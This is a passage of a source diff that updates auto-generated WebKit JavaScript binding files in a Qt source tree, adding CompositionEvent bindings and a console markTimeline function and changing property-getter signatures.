+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+#include "JSCompositionEvent.h"
+
+#include "CompositionEvent.h"
+#include "JSDOMWindow.h"
+#include "KURL.h"
+#include <runtime/Error.h>
+#include <runtime/JSString.h>
+#include <wtf/GetPtr.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+ASSERT_CLASS_FITS_IN_CELL(JSCompositionEvent);
+
+/* Hash table */
+
+static const HashTableValue JSCompositionEventTableValues[3] =
+{
+    { "data", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCompositionEventData), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCompositionEventConstructor), (intptr_t)0 },
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSCompositionEventTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 3, JSCompositionEventTableValues, 0 };
+#else
+    { 4, 3, JSCompositionEventTableValues, 0 };
+#endif
+
+/* Hash table for constructor */
+
+static const HashTableValue JSCompositionEventConstructorTableValues[1] =
+{
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSCompositionEventConstructorTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSCompositionEventConstructorTableValues, 0 };
+#else
+    { 1, 0, JSCompositionEventConstructorTableValues, 0 };
+#endif
+
+class JSCompositionEventConstructor : public DOMConstructorObject {
+public:
+    JSCompositionEventConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+        : DOMConstructorObject(JSCompositionEventConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+    {
+        putDirect(exec->propertyNames().prototype, JSCompositionEventPrototype::self(exec, globalObject), None);
+    }
+    virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+    static const ClassInfo s_info;
+
+    static PassRefPtr<Structure> createStructure(JSValue proto) 
+    { 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
+    }
+    
+protected:
+    static const unsigned StructureFlags = OverridesGetOwnPropertySlot | ImplementsHasInstance | DOMConstructorObject::StructureFlags;
+};
+
+const ClassInfo JSCompositionEventConstructor::s_info = { "CompositionEventConstructor", 0, &JSCompositionEventConstructorTable, 0 };
+
+bool JSCompositionEventConstructor::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSCompositionEventConstructor, DOMObject>(exec, &JSCompositionEventConstructorTable, this, propertyName, slot);
+}
+
+bool JSCompositionEventConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSCompositionEventConstructor, DOMObject>(exec, &JSCompositionEventConstructorTable, this, propertyName, descriptor);
+}
+
+/* Hash table for prototype */
+
+static const HashTableValue JSCompositionEventPrototypeTableValues[2] =
+{
+    { "initCompositionEvent", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCompositionEventPrototypeFunctionInitCompositionEvent), (intptr_t)5 },
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSCompositionEventPrototypeTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSCompositionEventPrototypeTableValues, 0 };
+#else
+    { 2, 1, JSCompositionEventPrototypeTableValues, 0 };
+#endif
+
+const ClassInfo JSCompositionEventPrototype::s_info = { "CompositionEventPrototype", 0, &JSCompositionEventPrototypeTable, 0 };
+
+JSObject* JSCompositionEventPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMPrototype<JSCompositionEvent>(exec, globalObject);
+}
+
+bool JSCompositionEventPrototype::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticFunctionSlot<JSObject>(exec, &JSCompositionEventPrototypeTable, this, propertyName, slot);
+}
+
+bool JSCompositionEventPrototype::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticFunctionDescriptor<JSObject>(exec, &JSCompositionEventPrototypeTable, this, propertyName, descriptor);
+}
+
+const ClassInfo JSCompositionEvent::s_info = { "CompositionEvent", &JSUIEvent::s_info, &JSCompositionEventTable, 0 };
+
+JSCompositionEvent::JSCompositionEvent(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<CompositionEvent> impl)
+    : JSUIEvent(structure, globalObject, impl)
+{
+}
+
+JSObject* JSCompositionEvent::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return new (exec) JSCompositionEventPrototype(JSCompositionEventPrototype::createStructure(JSUIEventPrototype::self(exec, globalObject)));
+}
+
+bool JSCompositionEvent::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSCompositionEvent, Base>(exec, &JSCompositionEventTable, this, propertyName, slot);
+}
+
+bool JSCompositionEvent::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSCompositionEvent, Base>(exec, &JSCompositionEventTable, this, propertyName, descriptor);
+}
+
+JSValue jsCompositionEventData(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSCompositionEvent* castedThis = static_cast<JSCompositionEvent*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    CompositionEvent* imp = static_cast<CompositionEvent*>(castedThis->impl());
+    JSValue result = jsString(exec, imp->data());
+    return result;
+}
+
+JSValue jsCompositionEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSCompositionEvent* domObject = static_cast<JSCompositionEvent*>(asObject(slotBase));
+    return JSCompositionEvent::getConstructor(exec, domObject->globalObject());
+}
+JSValue JSCompositionEvent::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMConstructor<JSCompositionEventConstructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));
+}
+
+JSValue JSC_HOST_CALL jsCompositionEventPrototypeFunctionInitCompositionEvent(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
+{
+    UNUSED_PARAM(args);
+    if (!thisValue.inherits(&JSCompositionEvent::s_info))
+        return throwError(exec, TypeError);
+    JSCompositionEvent* castedThisObj = static_cast<JSCompositionEvent*>(asObject(thisValue));
+    CompositionEvent* imp = static_cast<CompositionEvent*>(castedThisObj->impl());
+    const UString& typeArg = args.at(0).toString(exec);
+    bool canBubbleArg = args.at(1).toBoolean(exec);
+    bool cancelableArg = args.at(2).toBoolean(exec);
+    DOMWindow* viewArg = toDOMWindow(args.at(3));
+    const UString& dataArg = args.at(4).toString(exec);
+
+    imp->initCompositionEvent(typeArg, canBubbleArg, cancelableArg, viewArg, dataArg);
+    return jsUndefined();
+}
+
+
+}
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCompositionEvent.h b/src/3rdparty/webkit/WebCore/generated/JSCompositionEvent.h
new file mode 100644
index 0000000..6936402
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSCompositionEvent.h
@@ -0,0 +1,78 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef JSCompositionEvent_h
+#define JSCompositionEvent_h
+
+#include "JSUIEvent.h"
+
+namespace WebCore {
+
+class CompositionEvent;
+
+class JSCompositionEvent : public JSUIEvent {
+    typedef JSUIEvent Base;
+public:
+    JSCompositionEvent(NonNullPassRefPtr<JSC::Structure>, JSDOMGlobalObject*, PassRefPtr<CompositionEvent>);
+    static JSC::JSObject* createPrototype(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier& propertyName, JSC::PropertyDescriptor&);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+
+    static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
+protected:
+    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
+};
+
+
+class JSCompositionEventPrototype : public JSC::JSObject {
+    typedef JSC::JSObject Base;
+public:
+    static JSC::JSObject* self(JSC::ExecState*, JSC::JSGlobalObject*);
+    virtual const JSC::ClassInfo* classInfo() const { return &s_info; }
+    static const JSC::ClassInfo s_info;
+    virtual bool getOwnPropertySlot(JSC::ExecState*, const JSC::Identifier&, JSC::PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
+    static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
+    {
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
+    }
+    JSCompositionEventPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
+protected:
+    static const unsigned StructureFlags = JSC::OverridesGetOwnPropertySlot | Base::StructureFlags;
+};
+
+// Functions
+
+JSC::JSValue JSC_HOST_CALL jsCompositionEventPrototypeFunctionInitCompositionEvent(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
+// Attributes
+
+JSC::JSValue jsCompositionEventData(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCompositionEventConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+
+} // namespace WebCore
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/generated/JSConsole.cpp b/src/3rdparty/webkit/WebCore/generated/JSConsole.cpp
index 0657890..964d333 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSConsole.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSConsole.cpp
@@ -36,7 +36,7 @@ ASSERT_CLASS_FITS_IN_CELL(JSConsole);
 
 static const HashTableValue JSConsoleTableValues[2] =
 {
-    { "profiles", DontDelete|ReadOnly, (intptr_t)jsConsoleProfiles, (intptr_t)0 },
+    { "profiles", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsConsoleProfiles), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -49,24 +49,25 @@ static JSC_CONST_HASHTABLE HashTable JSConsoleTable =
 
 /* Hash table for prototype */
 
-static const HashTableValue JSConsolePrototypeTableValues[17] =
+static const HashTableValue JSConsolePrototypeTableValues[18] =
 {
-    { "debug", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionDebug, (intptr_t)0 },
-    { "error", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionError, (intptr_t)0 },
-    { "info", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionInfo, (intptr_t)0 },
-    { "log", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionLog, (intptr_t)0 },
-    { "warn", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionWarn, (intptr_t)0 },
-    { "dir", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionDir, (intptr_t)0 },
-    { "dirxml", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionDirxml, (intptr_t)0 },
-    { "trace", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionTrace, (intptr_t)0 },
-    { "assert", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionAssert, (intptr_t)1 },
-    { "count", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionCount, (intptr_t)0 },
-    { "profile", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionProfile, (intptr_t)1 },
-    { "profileEnd", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionProfileEnd, (intptr_t)1 },
-    { "time", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionTime, (intptr_t)1 },
-    { "timeEnd", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionTimeEnd, (intptr_t)1 },
-    { "group", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionGroup, (intptr_t)0 },
-    { "groupEnd", DontDelete|Function, (intptr_t)jsConsolePrototypeFunctionGroupEnd, (intptr_t)0 },
+    { "debug", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionDebug), (intptr_t)0 },
+    { "error", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionError), (intptr_t)0 },
+    { "info", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionInfo), (intptr_t)0 },
+    { "log", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionLog), (intptr_t)0 },
+    { "warn", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionWarn), (intptr_t)0 },
+    { "dir", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionDir), (intptr_t)0 },
+    { "dirxml", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionDirxml), (intptr_t)0 },
+    { "trace", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionTrace), (intptr_t)0 },
+    { "assert", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionAssert), (intptr_t)1 },
+    { "count", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionCount), (intptr_t)0 },
+    { "markTimeline", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionMarkTimeline), (intptr_t)0 },
+    { "profile", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionProfile), (intptr_t)1 },
+    { "profileEnd", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionProfileEnd), (intptr_t)1 },
+    { "time", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionTime), (intptr_t)1 },
+    { "timeEnd", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionTimeEnd), (intptr_t)1 },
+    { "group", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionGroup), (intptr_t)0 },
+    { "groupEnd", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsConsolePrototypeFunctionGroupEnd), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -74,7 +75,7 @@ static JSC_CONST_HASHTABLE HashTable JSConsolePrototypeTable =
 #if ENABLE(PERFECT_HASH_SIZE)
     { 511, JSConsolePrototypeTableValues, 0 };
 #else
-    { 35, 31, JSConsolePrototypeTableValues, 0 };
+    { 65, 63, JSConsolePrototypeTableValues, 0 };
 #endif
 
 const ClassInfo JSConsolePrototype::s_info = { "ConsolePrototype", 0, &JSConsolePrototypeTable, 0 };
@@ -122,9 +123,9 @@ bool JSConsole::getOwnPropertyDescriptor(ExecState* exec, const Identifier& prop
     return getStaticValueDescriptor<JSConsole, Base>(exec, &JSConsoleTable, this, propertyName, descriptor);
 }
 
-JSValue jsConsoleProfiles(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsConsoleProfiles(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSConsole* castedThis = static_cast<JSConsole*>(asObject(slot.slotBase()));
+    JSConsole* castedThis = static_cast<JSConsole*>(asObject(slotBase));
     return castedThis->profiles(exec);
 }
 
@@ -259,6 +260,19 @@ JSValue JSC_HOST_CALL jsConsolePrototypeFunctionCount(ExecState* exec, JSObject*
     return jsUndefined();
 }
 
+JSValue JSC_HOST_CALL jsConsolePrototypeFunctionMarkTimeline(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
+{
+    UNUSED_PARAM(args);
+    if (!thisValue.inherits(&JSConsole::s_info))
+        return throwError(exec, TypeError);
+    JSConsole* castedThisObj = static_cast<JSConsole*>(asObject(thisValue));
+    Console* imp = static_cast<Console*>(castedThisObj->impl());
+    ScriptCallStack callStack(exec, args, 0);
+
+    imp->markTimeline(&callStack);
+    return jsUndefined();
+}
+
 JSValue JSC_HOST_CALL jsConsolePrototypeFunctionProfile(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
 {
     UNUSED_PARAM(args);
diff --git a/src/3rdparty/webkit/WebCore/generated/JSConsole.h b/src/3rdparty/webkit/WebCore/generated/JSConsole.h
index c55cc0e..b518a29 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSConsole.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSConsole.h
@@ -21,7 +21,6 @@
 #ifndef JSConsole_h
 #define JSConsole_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
 
@@ -70,7 +69,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSConsolePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -89,6 +88,7 @@ JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionDirxml(JSC::ExecState*, JSC
 JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionTrace(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionAssert(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionCount(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
+JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionMarkTimeline(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionProfile(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionProfileEnd(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionTime(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
@@ -97,7 +97,7 @@ JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionGroup(JSC::ExecState*, JSC:
 JSC::JSValue JSC_HOST_CALL jsConsolePrototypeFunctionGroupEnd(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsConsoleProfiles(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsConsoleProfiles(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCoordinates.cpp b/src/3rdparty/webkit/WebCore/generated/JSCoordinates.cpp
index 348bcc6..0feb66c 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCoordinates.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCoordinates.cpp
@@ -35,13 +35,13 @@ ASSERT_CLASS_FITS_IN_CELL(JSCoordinates);
 
 static const HashTableValue JSCoordinatesTableValues[8] =
 {
-    { "latitude", DontDelete|ReadOnly, (intptr_t)jsCoordinatesLatitude, (intptr_t)0 },
-    { "longitude", DontDelete|ReadOnly, (intptr_t)jsCoordinatesLongitude, (intptr_t)0 },
-    { "altitude", DontDelete|ReadOnly, (intptr_t)jsCoordinatesAltitude, (intptr_t)0 },
-    { "accuracy", DontDelete|ReadOnly, (intptr_t)jsCoordinatesAccuracy, (intptr_t)0 },
-    { "altitudeAccuracy", DontDelete|ReadOnly, (intptr_t)jsCoordinatesAltitudeAccuracy, (intptr_t)0 },
-    { "heading", DontDelete|ReadOnly, (intptr_t)jsCoordinatesHeading, (intptr_t)0 },
-    { "speed", DontDelete|ReadOnly, (intptr_t)jsCoordinatesSpeed, (intptr_t)0 },
+    { "latitude", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCoordinatesLatitude), (intptr_t)0 },
+    { "longitude", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCoordinatesLongitude), (intptr_t)0 },
+    { "altitude", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCoordinatesAltitude), (intptr_t)0 },
+    { "accuracy", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCoordinatesAccuracy), (intptr_t)0 },
+    { "altitudeAccuracy", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCoordinatesAltitudeAccuracy), (intptr_t)0 },
+    { "heading", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCoordinatesHeading), (intptr_t)0 },
+    { "speed", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCoordinatesSpeed), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -101,51 +101,54 @@ bool JSCoordinates::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSCoordinates, Base>(exec, &JSCoordinatesTable, this, propertyName, descriptor);
 }
 
-JSValue jsCoordinatesLatitude(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCoordinatesLatitude(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slot.slotBase()));
+    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Coordinates* imp = static_cast<Coordinates*>(castedThis->impl());
-    return jsNumber(exec, imp->latitude());
+    JSValue result = jsNumber(exec, imp->latitude());
+    return result;
 }
 
-JSValue jsCoordinatesLongitude(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCoordinatesLongitude(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slot.slotBase()));
+    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Coordinates* imp = static_cast<Coordinates*>(castedThis->impl());
-    return jsNumber(exec, imp->longitude());
+    JSValue result = jsNumber(exec, imp->longitude());
+    return result;
 }
 
-JSValue jsCoordinatesAltitude(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCoordinatesAltitude(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slot.slotBase()));
+    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slotBase));
     return castedThis->altitude(exec);
 }
 
-JSValue jsCoordinatesAccuracy(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCoordinatesAccuracy(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slot.slotBase()));
+    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Coordinates* imp = static_cast<Coordinates*>(castedThis->impl());
-    return jsNumber(exec, imp->accuracy());
+    JSValue result = jsNumber(exec, imp->accuracy());
+    return result;
 }
 
-JSValue jsCoordinatesAltitudeAccuracy(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCoordinatesAltitudeAccuracy(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slot.slotBase()));
+    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slotBase));
     return castedThis->altitudeAccuracy(exec);
 }
 
-JSValue jsCoordinatesHeading(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCoordinatesHeading(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slot.slotBase()));
+    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slotBase));
     return castedThis->heading(exec);
 }
 
-JSValue jsCoordinatesSpeed(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCoordinatesSpeed(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slot.slotBase()));
+    JSCoordinates* castedThis = static_cast<JSCoordinates*>(asObject(slotBase));
     return castedThis->speed(exec);
 }
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCoordinates.h b/src/3rdparty/webkit/WebCore/generated/JSCoordinates.h
index be0408b..3e7c667 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCoordinates.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCoordinates.h
@@ -21,7 +21,6 @@
 #ifndef JSCoordinates_h
 #define JSCoordinates_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
 
@@ -71,7 +70,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCoordinatesPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -80,13 +79,13 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCoordinatesLatitude(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCoordinatesLongitude(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCoordinatesAltitude(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCoordinatesAccuracy(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCoordinatesAltitudeAccuracy(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCoordinatesHeading(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCoordinatesSpeed(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCoordinatesLatitude(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCoordinatesLongitude(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCoordinatesAltitude(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCoordinatesAccuracy(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCoordinatesAltitudeAccuracy(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCoordinatesHeading(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
